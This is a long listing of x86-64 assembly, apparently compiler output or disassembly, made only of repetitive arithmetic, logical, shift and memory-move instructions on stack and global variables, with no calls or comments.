movzx eax, word [rsp + 0x998]
movzx ecx, word [rsp + 0xbb0]
sar eax, cl
mov word [rsp + 0x848], ax
lea rax, [rsp + 0x103]
mov qword [rsp + 0x7c98], rax
mov rax, qword [rsp + 0x5d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
or eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9a0], ax
lea rax, [rsp + 0x57e0]
mov qword [rsp + 0x7ca0], rax
mov rax, qword [rsp + 0x7900]
mov ecx, dword [rsp + 0x2d6c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7838]
mov dword [rcx], eax
lea rax, [rsp + 0x5928]
mov qword [rsp + 0x7ca8], rax
mov eax, dword [rsp + 0x2d88]
mov ecx, dword [rsp + 0x2c38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6018]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x6b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7348]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14011312c], ax
mov rax, qword [rsp + 0x7990]
movzx eax, word [rax]
mov word [rsp + 0xe48], ax
mov rax, qword [0x140114640]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
add eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0xbd8]
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0x79d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ef8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7c10]
mov rcx, qword [rsp + 0x6230]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5f28], rax
mov rax, qword [rsp + 0x6e08]
mov qword [rsp + 0x7cb0], rax
mov rax, qword [rsp + 0x6c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3064]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ba0], eax
movzx eax, word [rsp + 0xb50]
mov word [rsp + 0xe50], ax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0xbe]
and eax, ecx
mov byte [0x140113036], al
mov rax, qword [rsp + 0x70c8]
movzx eax, word [rax]
mov rcx, qword [0x140114458]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbbc], ax
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0x6108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5528]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7860]
mov word [rcx], ax
mov eax, dword [rsp + 0x2e1c]
mov rcx, qword [rsp + 0x79d0]
mov qword [rsp + 0x7cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7cb8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x60b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5798]
mov qword [rsp + 0x7cc0], rax
mov rax, qword [rsp + 0x5d38]
mov rcx, qword [rsp + 0x73d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5e68], rax
mov rax, qword [rsp + 0x6410]
mov eax, dword [rax]
mov dword [rsp + 0x308c], eax
mov rax, qword [0x140114688]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb0]
mov byte [rcx], al
lea rax, [rsp + 0x66]
mov qword [0x1401147c0], rax
mov rax, qword [rsp + 0x65c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
sub eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [0x140114640]
movzx eax, byte [rax]
mov byte [rsp + 0x18b], al
movsx eax, word [rsp + 0xce4]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov word [rsp + 0x9e4], ax
mov eax, dword [rsp + 0x2cdc]
mov dword [rsp + 0x3090], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f28], rax
mov rax, qword [rsp + 0x7070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x7cc8], rax
movzx eax, word [0x1401130e4]
movzx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
movsx eax, byte [rsp + 0x104]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov byte [0x140114154], al
lea rax, [rsp + 0x96c]
mov qword [rsp + 0x7cd0], rax
movzx eax, byte [rsp + 0x176]
movzx ecx, byte [rsp + 0x158]
sub eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7008]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6718]
mov byte [rcx], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x5c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ea8], eax
lea rax, [rsp + 0x7830]
mov qword [rsp + 0x7cd8], rax
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7970], rax
mov eax, dword [rsp + 0x2c48]
mov dword [rsp + 0x3094], eax
lea rax, [rsp + 0x6d]
mov qword [0x1401147c8], rax
mov rax, qword [rsp + 0x6fc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6048]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9f4], ax
mov rax, qword [0x1401147b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
mov byte [rsp + 0x18d], al
movsx eax, word [rsp + 0xcdc]
movsx ecx, word [rsp + 0xda4]
xor eax, ecx
mov word [rsp + 0x88c], ax
lea rax, [0x140113008]
mov qword [rsp + 0x7ce0], rax
mov eax, dword [rsp + 0x300c]
mov ecx, dword [rsp + 0x2b40]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d5c], eax
mov eax, dword [rsp + 0x2b70]
mov ecx, dword [rsp + 0x2c80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b08]
mov qword [rsp + 0x7ce8], rax
lea rax, [rsp + 0xc08]
mov qword [0x1401147d0], rax
mov rax, qword [rsp + 0x68f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd9c]
add eax, ecx
mov rcx, qword [rsp + 0x7798]
mov word [rcx], ax
mov rax, qword [0x140114708]
movzx eax, word [rax]
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x69b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xee]
and eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
lea rax, [rsp + 0x2f50]
mov qword [rsp + 0x7cf0], rax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [rsp + 0x7a80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6b78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e90]
mov dword [rsp + 0x3098], eax
mov rax, qword [rsp + 0x6cd8]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7518], rax
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x65a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113084], ax
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x7cf8], rax
mov rax, qword [rsp + 0x7288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
sub eax, ecx
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x18a]
movzx ecx, byte [rsp + 0x18d]
add eax, ecx
mov rcx, qword [rsp + 0x5d30]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x18e], al
mov eax, dword [rsp + 0x3090]
mov ecx, dword [rsp + 0x3040]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7858]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ae4]
mov dword [rsp + 0x309c], eax
mov rax, qword [rsp + 0x5c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
mov qword [rsp + 0x7d00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5260], rax
mov rax, qword [rsp + 0x7450]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140113008]
shl rax, cl
mov qword [rsp + 0x59f0], rax
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0x90]
or eax, ecx
mov byte [0x140113046], al
mov rax, qword [rsp + 0x7920]
movzx eax, word [rax]
mov word [rsp + 0xe58], ax
mov rax, qword [0x140114440]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7200]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6820]
mov byte [rcx], al
movzx eax, word [rsp + 0x97c]
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x63c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x65c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x53d8]
mov eax, dword [rax]
mov dword [rsp + 0x30a0], eax
mov rax, qword [rsp + 0x56b8]
mov ecx, dword [rsp + 0x2bb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fbc], eax
mov rax, qword [rsp + 0x5ed8]
mov qword [rsp + 0x7d08], rax
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
mov word [0x1401147d8], ax
movzx eax, word [rsp + 0xa8c]
mov rcx, qword [rsp + 0x7078]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7228]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x5100]
movzx eax, word [rax]
mov word [rsp + 0xe60], ax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdc]
add eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x7438]
mov rax, qword [rax]
mov qword [rsp + 0x7d10], rax
mov rax, qword [rsp + 0x5228]
mov ecx, dword [rsp + 0x2cf4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7038]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2e98]
mov dword [rsp + 0x30a4], eax
mov rax, qword [rsp + 0x7370]
mov rcx, qword [rsp + 0x7a90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xd9]
movzx ecx, byte [rsp + 0x168]
add eax, ecx
mov byte [0x1401141be], al
mov rax, qword [rsp + 0x72b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c18]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd44], ax
mov rax, qword [rsp + 0x6718]
movzx eax, byte [rax]
mov byte [rsp + 0x18f], al
movsx eax, byte [rsp + 0x164]
movsx ecx, byte [rsp + 0xfc]
xor eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x7d18], rax
mov rax, qword [rsp + 0x6d88]
movzx ecx, al
mov rax, qword [rsp + 0x7730]
shl rax, cl
mov qword [rsp + 0x6c08], rax
mov eax, dword [rsp + 0x2f88]
mov ecx, dword [rsp + 0x2c08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c38], eax
lea rax, [rsp + 0x5dc8]
mov qword [rsp + 0x7d20], rax
mov eax, dword [rsp + 0x303c]
mov ecx, dword [0x140114150]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x6058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6d30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113130], ax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x190], al
mov rax, qword [rsp + 0x63e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
sub eax, ecx
mov rcx, qword [rsp + 0x7c80]
mov word [rcx], ax
movsx eax, word [rsp + 0xdf8]
movsx ecx, word [rsp + 0xd3c]
sub eax, ecx
mov word [rsp + 0xb08], ax
lea rax, [rsp + 0x172]
mov qword [rsp + 0x7d28], rax
mov rax, qword [rsp + 0x7b28]
mov rcx, qword [rsp + 0x5648]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
lea rax, [rsp + 0x2c1c]
mov qword [rsp + 0x7d30], rax
mov rax, qword [rsp + 0x6230]
mov rcx, qword [rsp + 0x54d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7308]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f48]
mov ecx, dword [rsp + 0x3010]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7480]
mov dword [rcx], eax
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x7d38], rax
mov rax, qword [rsp + 0x5be0]
movsx eax, byte [rax]
movsx ecx, byte [0x140113076]
sub eax, ecx
mov byte [0x14011309a], al
movzx eax, word [rsp + 0xa0c]
mov rcx, qword [rsp + 0x7740]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe18], ax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x7d40], rax
mov rax, qword [rsp + 0x7c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12d]
add eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
mov qword [rsp + 0x7d48], rax
mov eax, dword [rsp + 0x2bd0]
mov rcx, qword [rsp + 0x5198]
mov qword [rsp + 0x7d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3008], eax
mov eax, dword [rsp + 0x2b30]
movzx ecx, al
mov eax, dword [rsp + 0x2e10]
shr eax, cl
mov dword [rsp + 0x2b60], eax
mov rax, qword [rsp + 0x6400]
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [0x1401145d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140114218]
mov word [rcx], ax
lea rax, [rsp + 0x124]
mov qword [rsp + 0x7d60], rax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xd54]
and eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, word [rsp + 0xc28]
movzx ecx, word [rsp + 0xd94]
sub eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov dword [rsp + 0x30a8], eax
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x6400]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
lea rax, [rsp + 0x307c]
mov qword [rsp + 0x7d68], rax
mov rax, qword [rsp + 0x6568]
mov rcx, qword [rsp + 0x6b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6930], rax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x57b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17a], al
movzx eax, word [rsp + 0xa3c]
mov rcx, qword [rsp + 0x71d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401144e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov byte [rsp + 0x191], al
mov rax, qword [rsp + 0x6508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7130]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x88c], ax
lea rax, [rsp + 0x908]
mov qword [rsp + 0x7d70], rax
mov rax, qword [rsp + 0x7858]
mov ecx, dword [rsp + 0x2d98]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6190]
mov qword [rsp + 0x7d78], rax
mov rax, qword [rsp + 0x70e0]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7770]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b88]
mov rcx, qword [rsp + 0x5538]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d18], eax
mov rax, qword [rsp + 0x72b0]
movzx eax, word [rax]
mov word [rsp + 0xe64], ax
mov rax, qword [rsp + 0x7590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb7c]
or eax, ecx
mov word [0x140113134], ax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x5890]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
lea rax, [rsp + 0x34]
mov qword [rsp + 0x7d80], rax
movsx eax, byte [0x14011303b]
movsx ecx, byte [rsp + 0x155]
shl eax, cl
mov rcx, qword [rsp + 0x68d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
mov qword [rsp + 0x7d88], rax
mov rax, qword [rsp + 0x6668]
mov rcx, qword [rsp + 0x6220]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7ca0]
mov qword [rcx], rax
lea rax, [rsp + 0x2bc4]
mov qword [rsp + 0x7d90], rax
mov rax, qword [rsp + 0x5a98]
mov ecx, dword [rsp + 0x2f04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c24], eax
lea rax, [rsp + 0xe2c]
mov qword [0x1401147e0], rax
movsx eax, byte [rsp + 0xd1]
movsx ecx, byte [rsp + 0x8a]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x6dc0]
movzx eax, word [rax]
mov word [rsp + 0xe68], ax
movzx eax, byte [rsp + 0x4f]
movzx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
lea rax, [rsp + 0xd14]
mov qword [rsp + 0x7d98], rax
mov rax, qword [rsp + 0x52c0]
mov rcx, qword [rsp + 0x6db0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c28], rax
mov rax, qword [rsp + 0x5c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d20], eax
lea rax, [rsp + 0x5ab0]
mov qword [rsp + 0x7da0], rax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x2f64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x300c], eax
movsx eax, byte [rsp + 0xf8]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114638]
mov byte [rcx], al
mov rax, qword [rsp + 0x7570]
movzx eax, byte [rax]
mov byte [rsp + 0x192], al
movsx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x5890]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x4e80]
movzx eax, word [rax]
mov word [rsp + 0xe6c], ax
movsx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0x7620]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xae4], ax
mov rax, qword [rsp + 0x6b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f48], rax
lea rax, [rsp + 0x2e6c]
mov qword [rsp + 0x7da8], rax
mov eax, dword [rsp + 0x2f4c]
mov rcx, qword [rsp + 0x5500]
mov qword [rsp + 0x7db0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7db0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
lea rax, [rsp + 0x4db8]
mov qword [rsp + 0x7db8], rax
movzx eax, word [0x1401130d4]
mov word [0x1401147e8], ax
mov rax, qword [rsp + 0x6d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x978], ax
movzx eax, word [rsp + 0x9d0]
mov rcx, qword [rsp + 0x7590]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x73b8]
mov word [rcx], ax
mov rax, qword [0x140114728]
movzx eax, byte [rax]
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0x5f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7570]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0x3000]
mov qword [rsp + 0x7dc0], rax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x55b0], rax
mov rax, qword [rsp + 0x7658]
mov rcx, qword [rsp + 0x5958]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e7c], eax
mov rax, qword [rsp + 0x4e40]
mov qword [rsp + 0x7dc8], rax
mov rax, qword [0x1401147d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6778]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113030], ax
movzx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c60]
movzx eax, byte [rax]
mov byte [rsp + 0x194], al
movsx eax, word [rsp + 0x8b4]
movsx ecx, word [rsp + 0x86c]
sub eax, ecx
mov word [rsp + 0x8a8], ax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x54f8]
mov rcx, qword [rsp + 0x5260]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a48]
mov rcx, qword [rsp + 0x5860]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f00], rax
lea rax, [rsp + 0x3050]
mov qword [rsp + 0x7dd0], rax
mov rax, qword [rsp + 0x6e18]
mov ecx, dword [rsp + 0x2b5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x64e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd34]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113138], ax
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x65e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9d8]
or eax, ecx
mov word [rsp + 0x8a0], ax
movsx eax, word [rsp + 0xdc4]
mov rcx, qword [rsp + 0x5780]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa60], ax
movzx eax, byte [rsp + 0x136]
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x6f38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x77d0]
sar rax, cl
mov qword [rsp + 0x7230], rax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov dword [rsp + 0x30ac], eax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x5938]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d14], eax
mov rax, qword [rsp + 0x5b08]
mov rcx, qword [rsp + 0x6f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5798], rax
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0x58e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114648]
mov byte [rcx], al
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x7dd8], rax
mov rax, qword [rsp + 0x6b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
mov rax, qword [rsp + 0x67d8]
movzx eax, word [rax]
mov word [rsp + 0xe74], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x6d80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x6e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57f0]
mov qword [rsp + 0x7de0], rax
mov rax, qword [rsp + 0x66b0]
mov rcx, qword [rsp + 0x5008]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7088]
mov eax, dword [rax]
mov dword [rsp + 0x30b0], eax
movzx eax, byte [rsp + 0x14b]
mov rcx, qword [rsp + 0x7488]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011309b], al
movzx eax, word [rsp + 0x99c]
mov rcx, qword [rsp + 0x6708]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc3c], ax
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x6d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb38]
sub eax, ecx
mov rcx, qword [rsp + 0x5758]
mov word [rcx], ax
movsx eax, word [rsp + 0xd54]
movsx ecx, word [rsp + 0x84c]
shl eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3070]
mov dword [rsp + 0x30b4], eax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b90]
mov rax, qword [rax]
mov qword [rsp + 0x7de8], rax
mov rax, qword [rsp + 0x5228]
mov ecx, dword [rsp + 0x2f98]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd80]
movzx ecx, word [rsp + 0xd70]
sar eax, cl
mov rcx, qword [rsp + 0x6058]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [0x14011305b]
and eax, ecx
mov byte [0x140114217], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x6e00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x944], ax
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x7df0], rax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78b8], rax
mov rax, qword [rsp + 0x65d0]
mov ecx, dword [rsp + 0x2bf4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3094], eax
mov rax, qword [rsp + 0x6200]
mov rax, qword [rax]
mov qword [rsp + 0x7df8], rax
mov rax, qword [rsp + 0x7be8]
mov rcx, qword [rsp + 0x5e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7068]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7228]
movzx eax, byte [rax]
mov byte [rsp + 0x199], al
